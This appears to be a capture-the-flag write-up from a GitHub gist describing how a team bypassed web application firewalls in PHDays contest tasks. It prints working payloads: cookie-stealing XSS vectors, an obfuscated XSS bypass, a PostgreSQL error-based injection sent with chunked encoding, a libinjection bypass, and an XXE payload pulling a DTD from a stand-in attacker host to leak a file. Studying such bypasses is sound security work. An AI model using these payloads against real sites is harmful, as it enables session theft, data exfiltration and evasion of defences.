Skip to content

Instantly share code, notes, and snippets.

@ngo ngo/Anomaly
Last active Sep 14, 2017

What would you like to do?
PHDays Waf Bypass
In this task we had to bypass a badly-trained anomaly detection algorithm and perform an XSS attack.
We didn't have to figure out exactly how the anomaly detection worked, but as soon as we understood that the anomaly scoring was based on the density of the "bad" (i.e. non-alphanumeric) chars in the payload. Thus, the solution was to dissolve the attack payload in a lot of benign symbols ([AxN] represents a string of N A's):
The task was to perform a cookie-stealing XSS attack, knowing that the waf adds HttpOnly flag to all cookies in the request.
The code was as follows:
if($_SERVER['REMOTE_ADDR'] == '') {
setcookie('flag', $_GET['name'] . '-' . file_get_contents('./flag'));
} else {
setcookie('flag', $_GET['name'] . '-' . md5(mt_rand()));
As was written in the task description, the algorithm that added the flag to Set-Cookie header was flawed, and we were to find the flaw. We soon understood that the algorithm has to check if the HttpOnly flag is already present, to prevent the header from containing two HttpOnly flags. Thus, the final vector was smth like:
HttpOnly; <video src= onerror=src+=document.cookie>
This task contained a signature-like waf. The aim was to bypass regular expressions and execute an XXS.
This task was solved by our js-obfusction ninja Alexander Razdobarov, with the following resulting vector:'ht'%2b'tp:'%2b'//'%2bd\u006fcument['\x63ookie']%3E%3C/video%3E
This task took us the longest time to finish, and it was also quite unexpectedly easy.
The task was to perform an XSS attack. Our payload was entity-encoded, if it had more than 6 chars and an opening angle bracket.
We finally noticed, that if the request contained more than one http param, only the first was encoded. So the final solution was:
This task was a classical PostgreSQL injection:
$q = pg_query("SELECT * FROM \"news\" WHERE id = '" . $_REQUEST['id'] . "'");
Our solution was very easy, because we found that the WAF does not handle Transfer-Encoding: chunked in HTTP requests. Thus the final vector was as follows (cookie was redacted for clarity):
curl --header "Transfer-Encoding: chunked" -d "id=10' or 1=cast((select xmlserialize(document table_to_xml('flag',false,false,'root') as text)) as numeric)--" -b "HERE_GOES_THE_COOKIE"
As you can see, we chose error-based technique (cast text as numeric). Notice the use of xml functions - lovelovelove these for easy data retrieval in PostgreSQL.
Later on, after the contest, d0znpp told me that the waf likely used libinjection, which ahas known bypasses. In this case, you can use #%0Aunion+select to trick libinjection into thinking that your payload resides in a comment.
The task represented a xmlrpc-like service, where the user-supplied xml was processing using the following PHP code:
$res = simplexml_load_string(file_get_contents("php://input"),'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD);
The output wasn't visible to the user, but the error reporting was turned on, so libxml errors and warnings were visible.
First of all, LIBXML_NOENT doesn't forbid external entities, as one might imagine. In order to properly disable e.e. one should add a libxml_disable_entity_loader(true) call. LIBXML_DTDLOAD turns on loading of external DTDs. Using this knowledge it was really easy to construct an attack vector:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE input SYSTEM "http://evil-hacker/pwn.dtd">
<!ENTITY % asd SYSTEM "php://filter/convert.base64-encode/resource=flag" >
The substitution of parameter entity asd generated a syntax error which was reported to user and contained base64-encoded contents of the flag file (notice the use of php filters here).
Waf didn't generate any obstacles for this vector - I'm not sure if it actually did anything meaningful for this task
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.